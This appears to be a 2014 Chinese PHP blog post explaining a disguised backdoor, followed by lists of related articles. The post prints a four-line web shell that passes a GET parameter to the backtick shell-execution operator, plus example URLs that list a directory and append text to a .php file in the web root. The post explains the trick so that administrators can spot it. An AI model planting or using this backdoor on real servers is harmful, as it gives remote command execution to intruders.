一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
社区(php&&mysql)一
Oct 09 PHP
php heredoc和phpwind的模板技术使用方法小结
Mar 28 PHP
Base64在线编码解码实现代码 演示与下载
Jan 08 PHP
php短域名转换为实际域名函数
Jan 17 PHP
php适配器模式介绍
Aug 14 PHP
php之Memcache学习笔记
Jun 17 PHP
PHP eval函数使用介绍
Dec 08 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(九)
Jun 24 PHP
php实现网站留言板功能
Nov 04 PHP
php+mysql实现简单登录注册修改密码网页
Nov 30 PHP
PHP判断密码强度的方法详解
May 26 PHP
ubutu 16.04环境下,PHP与mysql数据库,网页登录验证实例讲解
Jul 20 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
支持汉转拼和拼音分词的PHP中文工具类ChineseUtil
2018/02/23 PHP
基于php解决json_encode中文UNICODE转码问题
2020/11/10 PHP
深入理解JavaScript系列(3) 全面解析Module模式
2012/01/15 Javascript
ASP.NET jQuery 实例18 通过使用jQuery validation插件校验DropDownList
2012/02/03 Javascript
js操作iframe兼容各种主流浏览器示例代码
2013/07/22 Javascript
jquery验证表单中的单选与多选实例
2013/08/18 Javascript
Jquery通过Ajax方式来提交Form表单的具体实现
2013/11/07 Javascript
JavaScript将数据转换成整数的方法
2014/01/04 Javascript
Javascript模块化编程详解
2014/12/01 Javascript
javascript实现验证身份证号的有效性并提示
2015/04/30 Javascript
jQuery实现将页面上HTML标签换成另外标签的方法
2015/06/09 Javascript
jquery仅用6行代码实现滑动门效果
2015/09/07 Javascript
JavaScript开发者必备的10个Sublime Text插件
2016/02/27 Javascript
JS防止网页被嵌入iframe框架的方法分析
2016/09/13 Javascript
javascript实现获取指定精度的上传文件的大小简单实例
2016/10/25 Javascript
JS克隆,属性,数组,对象,函数实例分析
2016/11/26 Javascript
微信小程序实战之上拉(分页加载)效果(2)
2017/04/17 Javascript
JavaScript面向对象精要(下部)
2017/09/12 Javascript
webpack3之loader全解析
2017/10/26 Javascript
Vue+SpringBoot开发V部落博客管理平台
2017/12/27 Javascript
浅谈webpack组织模块的原理
2018/03/10 Javascript
详解TypeScript+Vue 插件 vue-class-component的使用总结
2019/02/18 Javascript
nodejs中request库使用HTTPS代理的方法
2019/04/30 NodeJs
vue swipe自定义组件实现轮播效果
2019/07/03 Javascript
JS实现横向轮播图(初级版)
2020/06/24 Javascript
uniapp微信小程序实现一个页面多个倒计时
2020/11/01 Javascript
vue下拉刷新组件的开发及slot的使用详解
2020/12/23 Vue.js
pyqt5与matplotlib的完美结合实例
2019/06/21 Python
使用Python将图片转正方形的两种方法实例代码详解
2020/04/29 Python
python安装及变量名介绍详解
2020/12/12 Python
青年文明号复核材料
2014/02/11 职场文书
关于青春的演讲稿
2014/05/05 职场文书
美术专业自荐信
2014/07/07 职场文书
2014-2015学年工作总结
2014/11/27 职场文书
2015年安全生产责任书
2015/01/30 职场文书
创业计划书之韩国烧烤店
2019/09/19 职场文书